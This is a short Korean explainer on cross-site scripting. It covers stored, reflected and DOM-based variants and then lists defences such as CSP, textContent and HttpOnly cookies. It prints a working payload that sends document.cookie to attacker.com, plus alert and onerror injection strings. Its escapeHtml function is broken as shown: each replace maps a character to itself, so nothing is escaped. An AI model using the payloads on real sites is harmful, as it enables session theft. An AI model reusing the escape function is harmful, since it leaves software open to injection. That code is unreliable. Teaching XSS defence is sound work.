XSS(Cross-Site Scripting)는 공격자가 악성 스크립트를 웹 페이지에 삽입해 다른 사용자의 브라우저에서 실행시키는 공격이다. 쿠키 탈취, 피싱, 세션 하이재킹에 활용된다.
공격 유형
Stored XSS (저장형)
공격자가 게시판에 악성 스크립트 게시:
<script>document.location='https://attacker.com?cookie='+document.cookie</script>
다른 사용자가 게시물 열람 시 스크립트 실행
→ 쿠키가 공격자 서버로 전송
Reflected XSS (반사형)
악성 URL: https://example.com/search?q=<script>alert('xss')</script>
서버가 q 값을 그대로 HTML에 삽입 → 스크립트 실행
DOM-based XSS
javascript
// 취약한 코드
document.getElementById('result').innerHTML = location.hash.slice(1);
// URL: #<img src=x onerror=alert(1)>
방어 방법
javascript
// 1. HTML 이스케이프
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"');
}
// 2. Content Security Policy (CSP)
// HTTP 헤더:
Content-Security-Policy: default-src 'self'; script-src 'self'
// 3. innerHTML 대신 textContent 사용
element.textContent = userInput; // 안전
element.innerHTML = userInput; // 위험
// 4. HttpOnly 쿠키 (JavaScript에서 접근 불가)
Set-Cookie: session=abc123; HttpOnly; Secure
관련 개념
참고문헌
- •OWASP — Cross Site Scripting Prevention Cheat Sheet